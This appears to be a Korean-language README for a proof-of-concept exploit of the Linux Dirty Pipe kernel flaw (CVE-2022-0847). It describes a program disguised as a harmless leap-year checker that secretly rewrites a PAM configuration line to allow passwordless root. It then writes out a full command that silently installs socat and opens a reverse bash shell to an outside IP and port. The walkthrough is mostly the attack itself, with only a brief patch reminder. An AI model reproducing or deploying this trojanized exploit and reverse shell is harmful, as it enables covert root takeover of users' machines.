
CVE-2022-0847, 'Dirty Pipe Exploit'을 사용하여 원격 머신에서 임의 코드 실행을 위해 리버스 배시 셸을 띄웁니다.
이것은 CVE-2022-0847, "Dirty Pipe Exploit"를 사용하여 외부 머신에서 임의 코드 실행을 위한 리버스 배쉬 셸을 띄우는 방법을 보여주는 POC입니다. 이 취약점은 Linux 커널 버전 5.8 이상에만 영향을 미치며, 5.16.11, 5.15.25, 5.10.102 이상의 버전에서 패치되었습니다. 커널을 업데이트하세요 :)
이 익스플로잇은 보안 연구원 Max Kellermann이 발견했습니다. 이 익스플로잇의 세부 사항은 다루지 않겠습니다. 그의 글(https://dirtypipe.cm4all.com/)에서 훨씬 더 잘 설명하고 있기 때문입니다.
이 개념 증명 프로그램은 단순해 보이는 윤년 프로그램으로, 주어진 연도가 윤년인지 알려줍니다.
백그라운드에서 /etc/pam.d/s 파일의 한 줄을 변경합니다.
auth sufficient pam_rootok.so 줄을 auth sufficient pam_permit.so로 변경합니다. 이 변경을 통해 슈퍼유저로 명령을 실행할 때 비밀번호를 입력하지 않아도 됩니다.
그 후에는 C의 system() 함수를 사용하여 su로 명령을 실행할 수 있습니다.
I run
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
이 줄은 시스템에 socat을 설치하고 출력을 널 파일로 리디렉션하여 사용자가 다운로드 출력을 보지 못하게 합니다. 다음으로, 지정된 IP와 포트로 외부 머신에 연결하는 socat 명령을 실행합니다.
&는 이 프로세스를 백그라운드로 보내어 사용자가 터미널을 닫은 후에도 연결이 유지되도록 합니다.
취약한 머신에서 프로그램 실행:

취약한 머신에 연결:
